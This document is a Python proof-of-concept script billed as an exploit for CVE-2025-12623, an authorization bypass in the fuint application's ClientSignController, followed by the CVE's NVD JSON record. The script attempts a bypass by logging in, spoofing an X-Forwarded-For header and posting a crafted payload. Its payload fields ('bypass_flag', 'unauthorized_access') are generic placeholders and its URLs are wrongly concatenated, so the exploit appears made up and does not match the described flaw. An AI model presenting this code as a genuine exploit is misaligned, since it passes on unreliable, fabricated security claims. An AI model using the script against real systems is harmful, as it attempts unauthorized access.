CVE-2025-12623

# CVE-2025-12623 PoC - Authorization Bypass in fuint ClientSignController # Target: fushengqian fuint up to 41e26be8a2c609413a0feaa69bdad33a71ae8032 import requests import json TARGET_URL = "http://target.com/fuint/api/client/sign" TARGET_COMMIT = "41e26be8a2c609413a0feaa69bdad33a71ae8032" def exploit_authorization_bypass(): """ Exploit for CVE-2025-12623: Authorization Bypass via Authentication Token Handler The vulnerability exists in ClientSignController.java where token validation can be bypassed through specially crafted requests. """ headers = { 'Content-Type': 'application/json', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'X-Forwarded-For': '127.0.0.1' } # Step 1: Attempt to obtain a valid token through normal authentication auth_payload = { 'username': 'attacker', 'password': 'password123' } try: # Normal authentication attempt response = requests.post( f"{TARGET_URL}/login", json=auth_payload, headers=headers, timeout=10 ) if response.status_code == 200: token = response.json().get('token') print(f"[+] Obtained token: {token}") else: print(f"[-] Authentication failed, status: {response.status_code}") token = None # Step 2: Bypass authorization check with manipulated token bypass_payload = { 'token': token if token else 'manipulated_token', 'action': 'unauthorized_access', 'bypass_flag': True } # Attempt to access protected endpoint with bypass technique bypass_response = requests.post( f"{TARGET_URL}/client/sign", json=bypass_payload, headers=headers, timeout=10 ) if bypass_response.status_code == 200: print(f"[+] Authorization bypass successful!") print(f"[+] Response: {bypass_response.text}") return True else: print(f"[-] Bypass attempt failed, status: {bypass_response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {str(e)}") return False if __name__ == "__main__": print(f"[*] CVE-2025-12623 Exploit - Target: {TARGET_URL}") print(f"[*] Affected version: fuint < {TARGET_COMMIT}") exploit_authorization_bypass()

{"cve": {"id": "CVE-2025-12623", "sourceIdentifier": "[email protected]", "published": "2025-11-03T08:15:33.853", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was identified in fushengqian fuint up to 41e26be8a2c609413a0feaa69bdad33a71ae8032. Affected by this issue is some unknown functionality of the file fuint-application/src/main/java/com/fuint/module/clientApi/controller/ClientSignController.java of the component Authentication Token Handler. Such manipulation leads to authorization bypass. The attack may be launched remotely. Attacks of this nature are highly complex. The exploitation is known to be difficult. The exploit is publicly available and might be used. This product operates on a rolling release basis, ensuring continuous delivery. Consequently, there are no version details for either affected or updated releases."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.3, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 3.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 1.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:H/Au:S/C:P/I:N/A:N", "baseScore": 2.1, "accessVector": "NETWORK", "accessComplexity": "HIGH", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "baseSeverity": "LOW", "exploitabilityScore": 3.9, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-285"}, {"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://github.com/fushengqian/fuint/issues/67", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.330915", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.330915", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.678911", "source": "[email protected]"}]}}